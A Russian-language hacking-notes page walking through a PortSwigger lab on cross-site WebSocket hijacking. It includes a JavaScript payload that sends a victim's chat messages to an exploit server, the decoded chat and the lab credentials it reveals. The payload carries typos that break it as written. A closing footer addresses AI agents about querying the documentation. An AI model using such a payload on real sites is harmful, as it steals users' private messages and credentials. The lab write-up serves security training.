> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/websockets/cross-site-websocket-hijacking.md).

# Перехват WebSocket между сайтами

### Межсайтовый перехват WebSocket

Приложение — это интернет-магазин с **чатом в реальном времени** функцией, реализованной с помощью **WebSocket**. / Каждый раз, когда вы посещаете страницу чата, **вся история переписки автоматически загружается**, без строгого контроля источника запроса.

<figure><img src="/files/e6f5146b45267b6f583bd5df4330f9723d6b5510" alt=""><figcaption></figcaption></figure>

Обмениваемые сообщения используют следующий формат JSON:

```json
{
    "user":"Вы",
    "content":"привет"
}
```

<figure><img src="/files/877d7bb8a2b200f97640dbb8506df77d2bded28b" alt=""><figcaption></figcaption></figure>

Выкрадите историю чата жертвы через атаку \*\*межсайтового перехвата WebSocket\*\*, затем используйте полученную информацию для доступа к его аккаунту.

***

#### Принцип атаки

L的**Сервер эксплойта** используется для размещения HTML/JavaScript-пейлоада, который:

1. Устанавливает соединение WebSocket с целевым чат-сервером.
2. Отправляет необходимое сообщение для инициализации связи (`READY`).
3. Перехватывает все сообщения, полученные через WebSocket.
4. Экcфильтрует эти сообщения на сервер эксплойта после кодирования в Base64.

***

#### Используемый пейлоад

Один `data.js` файл создаётся со следующим содержимым:

```javascript
<script>
var ws = new WebSocket("https://0aad0050046d2085eafd2fe700400041.web-security-academy.net/chat");
ws.onopen = functon() {
ws.send("READY");
};
ws.message = function(event) {
fetch("https://exploit-0ac70073043f200fea802ec601950065.exploit-server.net/?data=" + btoa(event.data));
};
</script>
```

Этот скрипт запускается в браузере жертвы, когда она посещает сервер эксплойта, и автоматически использует её аутентифицированную сессию.

<figure><img src="/files/f54eee32e4c0fd670a3325c6b0714fe3c7775043" alt=""><figcaption></figcaption></figure>

#### Экcфильтрованные данные

Работающий сервер получает несколько строк, закодированных в Base64, например:

{% code overflow="wrap" %}

```bash
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgYmlqajlrNjFtOGJqdjE4dWc2N3UifQ==
eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

{% endcode %}

После декодирования восстанавливается полная история чата:

```json
{"user":"Hal Pline","content":"Hello, how can I help?"}
{"user":"Вы","content":"I forgot my password"}
{"user":"Hal Pline","content":"No problem carlos, it&apos;s bijj9k61m8bjv18ug67u"}
{"user":"Вы","content":"Thanks, I hope this doesn&apos;t come back to bite me!"}
{"user":"ПОДКЛЮЧЕНО","content":"-- Теперь вы общаетесь с Hal Pline --"}
```

#### Результат

Полученная конфиденциальная информация позволяет определить учетные данные жертвы:

* **Пользователь**: carlos
* **Пароль**: `bijj9k61m8bjv18ug67u`

Затем эти учетные данные можно использовать для входа в аккаунт Карлоса и прохождения лабораторной работы.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/websockets/cross-site-websocket-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
